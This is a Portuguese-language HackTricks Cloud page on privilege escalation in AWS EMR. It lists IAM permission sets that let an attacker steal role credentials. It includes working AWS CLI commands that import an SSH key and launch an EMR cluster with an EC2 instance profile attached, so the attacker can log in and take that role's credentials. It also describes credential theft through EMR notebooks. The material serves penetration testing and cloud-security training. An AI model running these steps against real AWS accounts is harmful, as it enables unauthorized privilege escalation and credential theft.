AWS - EMR Privesc
Reading time: 4 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
EMR
Mais informações sobre EMR em:
iam:PassRole
, elasticmapreduce:RunJobFlow
Um atacante com essas permissões pode executar um novo cluster EMR anexando funções EC2 e tentar roubar suas credenciais.
Observe que, para fazer isso, você precisaria conhecer alguma chave priv ssh importada na conta ou importar uma, e ser capaz de abrir a porta 22 no nó mestre (você pode ser capaz de fazer isso com os atributos EmrManagedMasterSecurityGroup
e/ou ServiceAccessSecurityGroup
dentro de --ec2-attributes
).
# Import EC2 ssh key (you will need extra permissions for this)
ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
chmod 400 /tmp/sshkey
base64 /tmp/sshkey.pub > /tmp/pub.key
aws ec2 import-key-pair \
--key-name "privesc" \
--public-key-material file:///tmp/pub.key
aws emr create-cluster \
--release-label emr-5.15.0 \
--instance-type m4.large \
--instance-count 1 \
--service-role EMR_DefaultRole \
--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc
# Wait 1min and connect via ssh to an EC2 instance of the cluster)
aws emr describe-cluster --cluster-id <id>
# In MasterPublicDnsName you can find the DNS to connect to the master instance
## You cna also get this info listing EC2 instances
Note como um papel EMR é especificado em --service-role
e um papel ec2 é especificado em --ec2-attributes
dentro de InstanceProfile
. No entanto, essa técnica só permite roubar as credenciais do papel EC2 (já que você se conectará via ssh), mas não o Papel IAM EMR.
Impacto Potencial: Privesc para o papel de serviço EC2 especificado.
elasticmapreduce:CreateEditor
, iam:ListRoles
, elasticmapreduce:ListClusters
, iam:PassRole
, elasticmapreduce:DescribeEditor
, elasticmapreduce:OpenEditorInConsole
Com essas permissões, um atacante pode acessar a AWS console, criar um Notebook e acessá-lo para roubar o Papel IAM.
caution
Mesmo que você anexe um papel IAM à instância do notebook, em meus testes, percebi que consegui roubar credenciais gerenciadas pela AWS e não credenciais relacionadas ao papel IAM.
Impacto Potencial: Privesc para o papel gerenciado pela AWS arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
elasticmapreduce:OpenEditorInConsole
Apenas com essa permissão, um atacante poderá acessar o Jupyter Notebook e roubar o papel IAM associado a ele.
A URL do notebook é https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/
caution
Mesmo que você anexe um papel IAM à instância do notebook, em meus testes, percebi que consegui roubar credenciais gerenciadas pela AWS e não credenciais relacionadas ao papel IAM.
Impacto Potencial: Privesc para o papel gerenciado pela AWS arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.